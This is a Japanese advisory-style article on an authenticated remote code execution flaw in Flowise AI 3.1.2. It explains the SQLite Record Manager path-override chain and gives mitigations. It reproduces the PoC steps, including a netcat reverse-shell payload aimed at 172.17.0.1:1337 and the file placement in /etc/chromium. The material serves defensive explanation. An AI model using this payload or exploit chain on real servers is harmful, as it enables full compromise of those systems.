はじめに: Flowise AIと今回の脆弱性

近年、AIアプリケーション開発の敷居を下げるローコード・ノーコードプラットフォームが注目を集めています。その一つである「Flowise AI」は、直感的なドラッグ＆ドロップインターフェースでチャットボットやワークフローを構築できる人気のオープンソースプロジェクトです。Node.jsベースで動くため、フロントエンドエンジニアの皆さんにも馴染み深いかもしれません。

しかし、このFlowise AIのバージョン 3.1.2 に、認証されたユーザーがリモートコード実行 (RCE) を引き起こせる深刻度 Critical の脆弱性 (GHSA-x3hf-7cj6-3r4m / CVE-2026-69259) が発見されました。Flowise AIが動作するサーバー上で任意のコマンドが実行されてしまうこの脆弱性は、アプリケーションとその基盤を脅かす非常に危険なものです。今回は、その詳細な攻撃経路と、フロントエンド開発者としても知っておくべき対策について掘り下げていきます。

脆弱性の詳細: 何が問題だったのか？

この脆弱性は、Flowiseの「SQLite Record Manager」ノードがSQLiteデータベースを操作する際の処理に起因します。特に問題となった点は以下の2つです。

SQLite Record Managerノードは、Upsert Vector Store操作などでSQLiteデータベースに接続し、レコード管理を行います。このノードには `additionalConfig` という入力があり、ユーザーがJSON形式で追加の設定を渡すことができました。問題は、この `additionalConfig` が `sqliteOptions` オブジェクトの構築時に、既存の `database` プロパティを上書きできてしまった点です。

具体的には、コードスニペットにあるように、まずデフォルトのデータベースパスが設定された `database` 変数が定義されます。しかし、その後にユーザーが指定した `additionalConfiguration` がスプレッド演算子 (`...`) で展開されるため、もし `additionalConfig` に `{"database": "/path/to/arbitrary/file.sqlite"}` のような値が含まれていれば、本来のデータベースパスがユーザー指定の任意のパスで上書きされてしまいました。これにより、攻撃者はFlowiseがSQLiteデータベースファイルをシステムの任意の場所に書き込むことが可能になります。

さらに深刻なのは、公開されているFlowiseのDockerイメージが `root` ユーザーとして実行されている点です。これにより、攻撃者はファイルシステム全体にわたる書き込み権限を持つことになり、通常ではアクセスできないようなシステムディレクトリ（例: `/etc/chromium/`）にもファイルを配置できてしまいます。

以前のFlowiseのRCE脆弱性 (GHSA-pwfj-wh95-7mwp) とは異なり、今回のケースでは実行されるSQLクエリ自体はユーザーが直接制御できませんでした。また、`tableName` 入力は `/^[a-zA-Z0-9_]+$/` という正規表現で厳しくサニタイズされており、単純なSQLインジェクションは防がれていました。

しかし、攻撃者はSQLiteデータベースファイルの「バイナリ構造」に着目し、この制限を回避しました。SQLiteデータベースは特定のバイナリフォーマットでデータを格納しており、その中にはテーブル名などの文字列の「長さ」を示すバイトが含まれています。攻撃者は、`tableName` 入力に特定の長さ（例: `AAAAAAAAAAAAA` のように13文字）の文字列を指定することで、データベースファイル内の特定の場所に、ペイロード注入に必要なシングルクォート文字 (`'`) に相当するバイナリ値が書き込まれるよう操作しました。

そして、`namespace` 入力（こちらもユーザーが制御可能）に、この不正に書き込まれたシングルクォートを閉じる `'` と、その後に続くコマンド置換のペイロード `$(/usr/bin/nc 172.17.0.1 1337 -e /bin/sh)` を含めることで、最終的にデータベースファイル内にシェルコマンドが埋め込まれた状態を作成しました。

作成された悪意のあるSQLiteファイルは、第一の脆弱性を利用して `/etc/chromium/exploit.conf` のようなシステムが参照するパスに配置されます。Flowiseが特定の操作（例えば、SQL Database Chainノードを使用するような操作）で Puppeteer を使って Chromium ブラウザを起動する際、Chromiumは起動時に `/etc/chromium/*.conf` ファイル群をソースとして読み込むという挙動があります。

この時、設定ファイルとして読み込まれた `/etc/chromium/exploit.conf` 内に埋め込まれたシェルコマンド（例えば逆シェル）が実行され、Flowiseが稼働するサーバー上でリモートコード実行が成立します。これにより、攻撃者はサーバーへの完全なアクセス権を得ることができます。

実際の攻撃シナリオ (PoC)

提供されたPoCは以下の2ステップで構成されます。

1. 悪意のあるSQLiteデータベースファイルの作成と配置: 最初のチャットフロー (`sqlite-record-rce-poc.json`) をインポートし、SQLite Record Managerノードの `additionalConfig.database` を `/etc/chromium/exploit.conf` に設定します。`tableName` は `AAAAAAAAAAAAA`、`namespace` は `$(/usr/bin/nc 172.17.0.1 1337 -e /bin/sh)` に設定。Upsert Vector Store操作を実行すると、指定されたパスにSQLiteデータベースが作成されます。

2. RCEのトリガー: 次に、2番目のチャットフロー (`sqlite-sqlchain-puppeteer-trigger.json`) をインポートし、再度Upsert Vector Store操作を実行します。この操作中にFlowiseがPuppeteerを介してChromiumブラウザを起動すると、`/etc/chromium/exploit.conf` が設定ファイルとして読み込まれ、`namespace` に仕込まれた逆シェルペイロードが実行されます。攻撃者は指定したIPアドレスとポート (`172.17.0.1 1337`) でリバースシェルを受け取り、サーバー上でコマンドを自由に実行できるようになります。

深刻な影響

この脆弱性が悪用されると、認証されたユーザーがFlowiseインスタンスのRCEを実現し、アプリケーションとその基盤システム全体が完全に侵害される可能性があります。FlowiseがAIアプリケーションのバックボーンとして使用されていることを考えると、機密データの窃取、システムファイルの改ざん、他のサーバーへの踏み台攻撃など、その被害は計り知れません。

今すぐとるべき対策

Flowise AIを利用している日本のフロントエンドエンジニアの皆さんは、以下の対策を速やかに検討・実施してください。

最も重要な対策は、脆弱性が修正されたFlowiseの最新バージョンにアップデートすることです。セキュリティアドバイザリでは具体的な修正バージョンが明記されていませんが、公式のリリースノートやGitHubリポジトリを確認し、利用可能な最新版に速やかに更新してください。

アプリケーション側で、`additionalConfig`のようなユーザー制御可能な入力値が、ファイルパスなどの機微な設定を上書きできないよう、厳格な入力検証を実装する必要があります。許可される値のホワイトリスト化や、パス操作に関するセキュリティチェックを徹底することが重要です。

FlowiseをDockerなどのコンテナ環境で実行している場合、`root`ユーザーではなく、可能な限り「低権限のユーザー」でコンテナを実行するよう設定を見直してください。たとえファイル書き込みの脆弱性が存在しても、低権限ユーザーであればシステムディレクトリへの書き込みや重要なコマンドの実行が制限され、被害を最小限に抑えることができます。これはコンテナセキュリティの基本的なベストプラクティスです。

サーバーのログ監視を強化し、不審なファイルアクセスやシェルコマンドの実行がないか常に監視してください。異常を早期に検知できるよう、SIEMなどのセキュリティ情報イベント管理システムとの連携も有効です。

まとめ

今回のFlowise AIの脆弱性は、ローコード・ノーコードプラットフォームであっても、その基盤を構成するコンポーネントや実行環境のセキュリティが極めて重要であることを改めて示しています。特に、SQLiteデータベースのバイナリ構造を悪用し、さらにPuppeteerとChromiumの挙動を組み合わせてRCEを達成するという、非常に巧妙な攻撃経路は、セキュリティの奥深さと難しさを物語っています。

フロントエンドエンジニアの皆さんにとって、直接サーバーサイドやインフラのセキュリティを担当する機会は少ないかもしれませんが、Node.jsベースのツールを利用する以上、サプライチェーンリスクや、その裏側で動作するシステムのセキュリティにも目を向けることが不可欠です。利用しているライブラリやフレームワークのセキュリティ情報を常にチェックし、適切な対策を講じる習慣を身につけましょう。